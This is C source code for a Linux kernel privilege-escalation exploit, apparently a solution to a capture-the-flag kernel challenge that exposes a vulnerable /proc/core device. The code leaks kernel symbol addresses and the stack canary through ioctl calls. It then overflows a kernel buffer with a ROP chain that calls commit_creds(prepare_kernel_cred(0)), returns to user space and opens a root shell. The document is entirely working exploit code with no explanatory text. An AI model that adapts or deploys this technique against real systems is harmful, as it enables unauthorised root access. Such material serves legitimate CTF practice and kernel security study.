1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> void usr_shell(){ if(getuid()==0){ printf("[*]----getshell ok"); system("/bin/sh"); }else{ puts("[*] getshell fail"); } exit(0); }
size_t commit_creds=0; size_t prepare_kernel_cred=0; size_t raw_vmlinux_base=0xffffffff81000000; size_t vmlinux_base=0; size_t find_symbols(){ FILE* kallsyms_fd=fopen("/tmp/kallsyms","r"); if(kallsyms_fd<0){ puts("[*]opne kallsyms error"); exit(0); } char buf[0x30]={0}; while (fgets(buf,0x30,kallsyms_fd)) { printf("%s\n",buf); if(commit_creds&prepare_kernel_cred){ return 0; } if(strstr(buf,"commit_creds")&&!commit_creds){ char hex[20]={0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&commit_creds); printf("commit_creds_addr:%p\n",commit_creds); vmlinux_base=commit_creds-0x9c8e0; printf("vmlinux_base_addr:%p",vmlinux_base);
} if(strstr(buf,"prepare_kernel_cred")&&!prepare_kernel_cred){ char hex[20]={0}; strncpy(hex,buf,16); sscanf(hex,"%llx",&prepare_kernel_cred); printf("prepare_kernel_cred_addr:%p\n",prepare_kernel_cred); vmlinux_base=prepare_kernel_cred-0x9cce0;
} } if(!(prepare_kernel_cred&commit_creds)){ puts("[*]addr error"); exit(0); } } size_t user_cs,user_ss,user_rflags,user_sp; void save_status(){ __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts("[*]status has ben saved."); } void set_off(int fd,long long idx){ printf("[*]set off to %ld\n",idx); ioctl(fd,0x6677889c,idx); } void core_read(int fd,char *buf){ puts("[*]read to buf."); ioctl(fd, 0x6677889B, buf); } void core_copy_func(int fd,long long size){ printf("[*]copy from user with size :%ld\n",size); ioctl(fd, 0x6677889A, size); }
void privilege_escalation(){ if(commit_creds && prepare_kernel_cred){ (*((void (*)(char *))commit_creds))( (*((char* (*)(int))prepare_kernel_cred))(0) ); } }
int main(){ save_status(); int fd=open("/proc/core",2); if(fd<0){ puts("[*]open core error"); exit(0); } find_symbols(); ssize_t offset=vmlinux_base-raw_vmlinux_base; set_off(fd,0x40); char buf[0x40]={0}; core_read(fd,buf); size_t canary=((size_t *)buf)[0]; printf("[*]canary: %p\n",canary); size_t rop[0x1000]={0}; int i; for(i=0;i<10;i++){ rop[i]=canary; } rop[i++] =(size_t)privilege_escalation; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset;
rop[i++] = (size_t)usr_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,0x800); core_copy_func(fd,0xffffffffffff0000 | (0x100)); }
|